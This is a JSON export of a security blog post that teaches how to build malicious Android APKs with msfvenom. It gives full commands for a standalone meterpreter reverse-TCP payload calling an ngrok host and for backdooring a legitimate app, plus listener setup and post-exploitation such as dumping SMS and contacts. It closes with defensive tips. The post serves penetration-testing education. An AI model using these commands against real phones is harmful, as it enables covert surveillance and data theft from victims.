{"id":1054,"date":"2021-01-19T13:16:27","date_gmt":"2021-01-19T10:16:27","guid":{"rendered":"https:\/\/macrosec.tech\/?p=1054"},"modified":"2021-01-21T10:39:29","modified_gmt":"2021-01-21T07:39:29","slug":"hacking-android-phones-with-malicious-apk","status":"publish","type":"post","link":"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/","title":{"rendered":"Hacking Android Phones With Malicious APK"},"content":{"rendered":"<p><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-1 fusion-parallax-none nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-background-color:#686868;--awb-background-image:url(&quot;https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/01\/85204.jpg&quot;);--awb-background-size:cover;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-0 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-padding-top:0%;--awb-padding-right:0%;--awb-padding-bottom:0%;--awb-padding-left:0%;--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-column-content-centered\"><div class=\"fusion-column-content\"><div class=\"fusion-text fusion-text-1\"><h2 style=\"text-align: center; font-size: 40px;\"><strong><span style=\"text-decoration: underline;\">HACKING ANDROID PHONES WITH MALICIOUS APK<\/span><\/strong><\/h2>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-1 hover-type-none\"><img decoding=\"async\" width=\"400\" height=\"400\" alt=\"Haystack - Hack The Box Machine\" title=\"android-apk\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png\" class=\"img-responsive wp-image-1080\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk-200x200.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png 400w\" sizes=\"(max-width: 800px) 100vw, 400px\" \/><\/span><\/div><\/div><\/div><\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-2 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-top:30px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-1 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-no-large-visibility fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:15px;margin-bottom:15px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-2\"><p style=\"font-size: 18px;\">This blog post was written by <a href=\"https:\/\/www.linkedin.com\/in\/rodney-kariuki-407293128\/\">Rodney Kariuki<\/a>.<\/p>\n<\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-clearfix\" style=\"float:left;margin-top:15px;margin-bottom:15px;width:100%;max-width:35%;\"><div class=\"fusion-separator-border sep-single sep-solid\" style=\"--awb-height:20px;--awb-amount:20px;--awb-sep-color:#b51616;border-color:#b51616;border-top-width:1px;\"><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-3\"><h2 style=\"font-size: 24px; color: #b51616; text-align: left;\"><strong>Introduction<\/strong><\/h2>\n<p style=\"font-size: 20px;\">It is possible to exploit the actual android device of a user by installing malicious payloads on their phones in form of Android Application Packages (APKs), or by trojanizing a legitimate application. Android security assessments allow the penetration tester to discover if there are certain protections around the binary in place. If these protections are not there and the application could be trojanized by a malicious attacker, then the client should be made aware so that appropriate security measures can be taken.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"font-size: 24px; color: #b51616; text-align: left;\"><strong>Why Android Smartphones?<\/strong><\/h2>\n<p style=\"font-size: 20px;\">Smartphones have become ubiquitous in our lives. We use them for:<\/p>\n<p>&nbsp;<\/p>\n<ul style=\"font-size: 20px;\">\n<li>Entertainment: Games, movie streaming, music.<\/li>\n<li>Shopping: Amazon, Jumia.<\/li>\n<li>Work: Zoom, Email.<\/li>\n<li>Banking<\/li>\n<li>Social Interactions: Facebook, Instagram<\/li>\n<li>etc&#8230;<\/li>\n<\/ul>\n<p style=\"font-size: 20px;\">Android is the most popular mobile operating system globally. This makes it an attractive target to attackers. Furthermore, it&#8217;s open-source nature, and fragmentation ( the OS runs on devices manufactured by different companies) can also lead to the creation of vulnerabilities. The OS also allows users to install mobile apps from third party sources, and there are less stringent controls on the Google Play Store. All these factors make the OS the perfect attack surface.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"font-size: 24px; color: #b51616; text-align: left;\"><strong>Methods of Hacking Android Phones<\/strong><\/h2>\n<p style=\"font-size: 20px;\">In this guide, we will discuss two methods on how we can hack android phones with malicious APKs.<\/p>\n<ol>\n<li style=\"font-size: 20px;\">Generating a malicious payload with msfvenom and extracting it as an apk file.<\/li>\n<li style=\"font-size: 20px;\">Injecting malicious payloads on legitimate android apps with msfvenom.<\/li>\n<\/ol>\n<p style=\"font-size: 20px;\">Both methods will either require access to the victim&#8217;s phone, or some form of social engineering on the attacker&#8217;s part to get their victims to actually install the malicious APKs on their phones.<br \/>\nLet&#8217;s discuss them both in detail.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"font-size: 22px; color: #b51616; text-align: left;\"><strong>Generating a Malicious Payload and Extracting it as an apk File<\/strong><\/h3>\n<p style=\"font-size: 20px;\">This is a quick, simple and easy method of generating a malicious payload.<\/p>\n<p style=\"font-size: 20px;\">The steps to follow are:<\/p>\n<p style=\"font-size: 20px;\">Firstly, to generate a malicious payload using msfvenom.<\/p>\n<p style=\"font-size: 20px;\">Before I do that, I need to fire up ngrok in order to get a public IP address and port. For details on what ngrok is and how to use it, visit the following link: <a href=\"https:\/\/ngrok.com\/product\">https:\/\/ngrok.com\/product<\/a><\/p>\n<\/div><div class=\"fusion-text fusion-text-4\"><div id=\"attachment_1064\" style=\"width: 653px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1064\" loading=\"lazy\" class=\"size-full wp-image-1064\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r1.png\" alt=\"\" width=\"643\" height=\"204\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r1-200x63.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r1-400x127.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r1-600x190.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r1.png 643w\" sizes=\"auto, (max-width: 643px) 100vw, 643px\" \/><p id=\"caption-attachment-1064\" class=\"wp-caption-text\">ngrok session status<\/p><\/div>\n<p>&nbsp;<\/p>\n<p style=\"font-size: 20px; color: #b51616; text-align: left;\">msfvenom -p android\/meterpreter\/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=12126 R &gt; malicious.apk<\/p>\n<p style=\"font-size: 20px;\">The -p flag indicates the type of payload we want. In this case we want a reverse tcp connection with a meterpreter shell. We also provide the ip of our attack machine, and the port we want to listen on (They are the values ngrok assigned to me). The name of our generated apk is malicious.apk.<\/p>\n<\/div><div class=\"fusion-text fusion-text-5\"><div id=\"attachment_1068\" style=\"width: 818px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1068\" loading=\"lazy\" class=\"size-full wp-image-1068\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r2.png\" alt=\"\" width=\"808\" height=\"270\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r2-200x67.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r2-400x134.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r2-600x200.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r2-768x257.png 768w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r2-800x267.png 800w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r2.png 808w\" sizes=\"auto, (max-width: 808px) 100vw, 808px\" \/><p id=\"caption-attachment-1068\" class=\"wp-caption-text\">Generated Malicious APK<\/p><\/div>\n<p>&nbsp;<\/p>\n<p style=\"font-size: 20px;\">The next step is to setup a listener on our attack machine using msfconsole. Make sure to edit the LHOST, LPORT and payload options to the ones we specified when generating our payload.<\/p>\n<\/div><div class=\"fusion-text fusion-text-6\"><div id=\"attachment_1069\" style=\"width: 720px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1069\" loading=\"lazy\" class=\"size-full wp-image-1069\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r3.png\" alt=\"\" width=\"710\" height=\"413\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r3-200x116.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r3-400x233.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r3-600x349.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r3.png 710w\" sizes=\"auto, (max-width: 710px) 100vw, 710px\" \/><p id=\"caption-attachment-1069\" class=\"wp-caption-text\">Setting Up our Listener<\/p><\/div>\n<p>&nbsp;<\/p>\n<p style=\"font-size: 20px;\">Now we need to send the apk to the victim and getting them to install and launch it. In this case, I transferred it to my own phone and launched the apk by clicking on it. I received numerous warning messages on how apps installed from unknown sources could be dangerous. I also saw that the app is requesting a lot of permissions e.g. cameras, microphone, location, contacts, SMS, etc. This is a red flag. I proceeded with the installation anyway.<\/p>\n<p style=\"font-size: 20px;\">I received a connection back on my listener and can now start doing malicious things e.g. dumping contacts, dumping sms, switching on camera, etc.<\/p>\n<\/div><div class=\"fusion-text fusion-text-7\"><div id=\"attachment_1070\" style=\"width: 505px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1070\" loading=\"lazy\" class=\"size-full wp-image-1070\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r4.png\" alt=\"\" width=\"495\" height=\"96\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r4-200x39.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r4-400x78.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r4.png 495w\" sizes=\"auto, (max-width: 495px) 100vw, 495px\" \/><p id=\"caption-attachment-1070\" class=\"wp-caption-text\">Connection received<\/p><\/div>\n<p>&nbsp;<\/p>\n<p style=\"font-size: 20px;\">For a list of commands, we can run, type <strong>help<\/strong> on the meterpreter session.<\/p>\n<\/div><div class=\"fusion-text fusion-text-8\"><div id=\"attachment_1071\" style=\"width: 544px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1071\" loading=\"lazy\" class=\"size-full wp-image-1071\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r5.png\" alt=\"\" width=\"534\" height=\"546\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r5-66x66.png 66w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r5-200x204.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r5-400x409.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r5.png 534w\" sizes=\"auto, (max-width: 534px) 100vw, 534px\" \/><p id=\"caption-attachment-1071\" class=\"wp-caption-text\">Sample malicious commands<\/p><\/div>\n<p>&nbsp;<\/p>\n<h3 style=\"font-size: 22px; color: #b51616; text-align: left;\"><strong>Disadvantages of this method<\/strong><\/h3>\n<ol>\n<li style=\"font-size: 20px;\">Requires either access to the victim&#8217;s phone or social engineering to get the victim to install and launch the malicious apk.<\/li>\n<li style=\"font-size: 20px;\">The generated apk file does not look legitimate. It&#8217;s only a few KBs and doesn&#8217;t do anything when clicked on. The victim might either uninstall it right away or not install it at all.<\/li>\n<li style=\"font-size: 20px;\">Might require a lot of time and effort to make the apk file look realistic i.e. changing the logo, adding some functionality.<\/li>\n<li style=\"font-size: 20px;\">Such an apk file is easily classified as dangerous by any anti-virus installed on the victim&#8217;s phone.<\/li>\n<li style=\"font-size: 20px;\">Numerous warnings from the mobile device and Google Play Store that installing apps from unknown sources is dangerous. This might deter the victim from proceeding.<\/li>\n<li style=\"font-size: 20px;\">The connection we get back is not persistent. Once the phone reboots, loses internet connection, or the user clears all the running apps in the background, we lose our connection and the only way to get it back again is if the user clicks on the app icon again.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h3 style=\"font-size: 22px; color: #b51616; text-align: left;\"><strong>Injecting a Malicious Payload on a Legitimate Android App<\/strong><\/h3>\n<p style=\"font-size: 20px;\">Before proceeding further, we need to install a legitimate android apk file on our attack machine. Using a site such as <a href=\"https:\/\/www.apkmirror.com\/\">apkmirror<\/a> or <a href=\"https:\/\/apkpure.com\/\">apkpure<\/a>, you can download legitimate apk files. Kindly note that not all apk files can easily be exploited in this way. Some of them have protections in place.<\/p>\n<p style=\"font-size: 20px;\">Once that is done, proceed with the steps below:<\/p>\n<p style=\"font-size: 20px;\">Firstly, use msfvenom to generate and inject the malicious payload onto the legitimate apk file by using the command below:<\/p>\n<p style=\"font-size: 20px; color: #b51616; text-align: left;\">msfvenom -x CameraSample.apk -p android\/meterpreter\/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=12492 -o CameraSample_backdoored.apk<\/p>\n<p style=\"font-size: 20px;\">MSFVenom will decompile the application and it will try to discover the hook point of where the payload will be injected. Furthermore it will poison the Android Manifest file of the application with additional permissions that could be used for post exploitation activities. The output can be seen below:<\/p>\n<\/div><div class=\"fusion-text fusion-text-9\"><div id=\"attachment_1072\" style=\"width: 733px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-1072\" loading=\"lazy\" class=\"size-full wp-image-1072\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r6.png\" alt=\"\" width=\"723\" height=\"420\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r6-200x116.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r6-400x232.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r6-600x349.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/r6.png 723w\" sizes=\"auto, (max-width: 723px) 100vw, 723px\" \/><p id=\"caption-attachment-1072\" class=\"wp-caption-text\">Msfvenom Payload Injection<\/p><\/div>\n<p>&nbsp;<\/p>\n<p style=\"font-size: 20px;\">Once we have done that, everything else remains the same as in the first method from setting up the listener using msfconsole.<\/p>\n<p style=\"font-size: 20px;\">Alternative tools for payload injection are:<\/p>\n<ul>\n<li style=\"font-size: 20px;\">TheFatRat<\/li>\n<li style=\"font-size: 20px;\">Evil-Droid<\/li>\n<li style=\"font-size: 20px;\">apkinjector<\/li>\n<\/ul>\n<p style=\"font-size: 20px;\">The <strong>advantage<\/strong> with this method is that the app looks more legitimate. It&#8217;s also quick and simple since msfvenom automatically handles the payload generation and injection for us.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"font-size: 22px; color: #b51616; text-align: left;\"><strong>Disadvantages of this Method<\/strong><\/h3>\n<ol>\n<li style=\"font-size: 20px;\">Requires either access to the victim&#8217;s phone or social engineering to get the victim to install and launch the malicious apk.<\/li>\n<li style=\"font-size: 20px;\">Such an apk file is easily classified as dangerous by any anti-virus installed on the victim&#8217;s phone.<\/li>\n<li style=\"font-size: 20px;\">Numerous warnings from the mobile device and Google Play Store that installing apps from unknown sources is dangerous. This might deter the victim from proceeding.<\/li>\n<li style=\"font-size: 20px;\">The connection we get back is not persistent. Once the phone reboots, loses internet connection, or the user clears all the running apps in the background, we lose our connection and the only way to get it back again is if the user clicks on the app icon again.<\/li>\n<li style=\"font-size: 20px;\">This method may not work on all legitimate apk files since some of them have protections in place.<\/li>\n<\/ol>\n<\/div><div class=\"fusion-text fusion-text-10\"><h2 style=\"font-size: 24px; color: #b51616; text-align: left;\"><strong>Protecting Ourselves<\/strong><\/h2>\n<ol>\n<li style=\"font-size: 20px;\">Ensure &#8220;Install from Unknown Sources&#8221; is disabled in our phone&#8217;s settings.<\/li>\n<li style=\"font-size: 20px;\">If possible, only download apps from the Google Play Store (much safer than downloading from third party sources).<\/li>\n<li style=\"font-size: 20px;\">Install anti-virus on our smartphones to scan for malicious apps.<\/li>\n<li style=\"font-size: 20px;\">Review the permissions an app is asking for. If they seem too much, be on your guard (e.g. a flashlight app asking for access to your contacts, sms, microphone, etc).<\/li>\n<li style=\"font-size: 20px;\">Carefully review links we have been sent (beware of misspelled names or &#8220;free promotions&#8221;).<\/li>\n<li style=\"font-size: 20px;\">When installing an app from unknown sources, Google Play Protect always requests to scan it. Allow it to do so.<\/li>\n<\/ol>\n<p style=\"font-size: 20px;\"><strong>App Developers<\/strong> should also have security assessments carried out on their apps to protect the binaries so that their apps cannot be trojanized.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"font-size: 24px; color: #b51616; text-align: left;\"><strong>Discussion Question<\/strong><\/h2>\n<p style=\"font-size: 20px;\">If an app is trojanized, should the developer(s) , or the company that developed the app be held liable? (Especially if no protections were put in place to protect the app&#8217;s binaries).<\/p>\n<\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-clearfix\" style=\"float:left;margin-top:15px;margin-bottom:15px;width:100%;max-width:30%;\"><div class=\"fusion-separator-border sep-single sep-solid\" style=\"--awb-height:20px;--awb-amount:20px;--awb-sep-color:#b51616;border-color:#b51616;border-top-width:1px;\"><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-11\"><h2 style=\"font-size: 16px; color: #b51616; text-align: left;\"><strong>Disclaimer<\/strong><\/h2>\n<p style=\"font-size: 10px;\">The MacroSec blogs are solely for informational and educational purposes. Any actions and or activities related to the material contained within this website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. The authors and MacroSec will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.<\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":4,"featured_media":1080,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"nf_dc_page":"","footnotes":""},"categories":[10,8,13],"tags":[],"class_list":["post-1054","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-offensive-security","category-pentesting","category-red-teaming"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hacking Android Phones With Malicious APK &#8212; MacroSEC<\/title>\n<meta name=\"description\" content=\"It is possible to exploit the actual android device of a user by installing malicious payloads on their phones in form of Android Application Packages (APKs), or by trojanizing a legitimate application. Android security assessments allow the penetration tester to discover if there are certain protections around the binary in place. If these protections are not there and the application could be trojanized by a malicious attacker, then the client should be made aware so that appropriate security measures can be taken.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hacking Android Phones With Malicious APK &#8212; MacroSEC\" \/>\n<meta property=\"og:description\" content=\"It is possible to exploit the actual android device of a user by installing malicious payloads on their phones in form of Android Application Packages (APKs), or by trojanizing a legitimate application. Android security assessments allow the penetration tester to discover if there are certain protections around the binary in place. If these protections are not there and the application could be trojanized by a malicious attacker, then the client should be made aware so that appropriate security measures can be taken.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/macrosec.tech\/index.php\/2021\/01\/19\/hacking-android-phones-with-malicious-apk\/\" \/>\n<meta property=\"og:site_name\" content=\"MacroSEC\" \/>\n<meta property=\"article:published_time\" content=\"2021-01-19T10:16:27+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-01-21T07:39:29+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/12\/android-apk.png\" \/>\n\t<meta property=\"og:image:width\" content=\"400\" \/>\n\t<meta property=\"og:image:height\" content=\"400\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Varun Gupta\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Varun Gupta\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/\"},\"author\":{\"name\":\"Varun Gupta\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/person\\\/25a4f831e9e50082deebea9327b48bf0\"},\"headline\":\"Hacking Android Phones With Malicious APK\",\"datePublished\":\"2021-01-19T10:16:27+00:00\",\"dateModified\":\"2021-01-21T07:39:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/\"},\"wordCount\":3166,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2020\\\/12\\\/android-apk.png\",\"articleSection\":[\"Offensive Security\",\"Penetration Testing\",\"Red Teaming\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/\",\"name\":\"Hacking Android Phones With Malicious APK &#8212; MacroSEC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2020\\\/12\\\/android-apk.png\",\"datePublished\":\"2021-01-19T10:16:27+00:00\",\"dateModified\":\"2021-01-21T07:39:29+00:00\",\"description\":\"It is possible to exploit the actual android device of a user by installing malicious payloads on their phones in form of Android Application Packages (APKs), or by trojanizing a legitimate application. Android security assessments allow the penetration tester to discover if there are certain protections around the binary in place. If these protections are not there and the application could be trojanized by a malicious attacker, then the client should be made aware so that appropriate security measures can be taken.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#primaryimage\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2020\\\/12\\\/android-apk.png\",\"contentUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2020\\\/12\\\/android-apk.png\",\"width\":400,\"height\":400},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2021\\\/01\\\/19\\\/hacking-android-phones-with-malicious-apk\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/macrosec.tech\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hacking Android Phones With Malicious APK\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#website\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/\",\"name\":\"MacroSEC\",\"description\":\"Your Cybersecurity Partner - Kenya\",\"publisher\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/macrosec.tech\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\",\"name\":\"MacroSec Ltd\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/MobileIcon_Retine.png\",\"contentUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/MobileIcon_Retine.png\",\"width\":400,\"height\":107,\"caption\":\"MacroSec Ltd\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/person\\\/25a4f831e9e50082deebea9327b48bf0\",\"name\":\"Varun Gupta\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/52bc834329f8953672ef80ade6d06e40673c985c5434ad9aa3ba360e5ca444e1?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/52bc834329f8953672ef80ade6d06e40673c985c5434ad9aa3ba360e5ca444e1?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/52bc834329f8953672ef80ade6d06e40673c985c5434ad9aa3ba360e5ca444e1?s=96&d=mm&r=g\",\"caption\":\"Varun Gupta\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hacking Android Phones With Malicious APK &#8212; MacroSEC","description":"It is possible to exploit the actual android device of a user by installing malicious payloads on their phones in form of Android Application Packages (APKs), or by trojanizing a legitimate application. Android security assessments allow the penetration tester to discover if there are certain protections around the binary in place. If these protections are not there and the application could be trojanized by a malicious attacker, then the client should be made aware so that appropriate 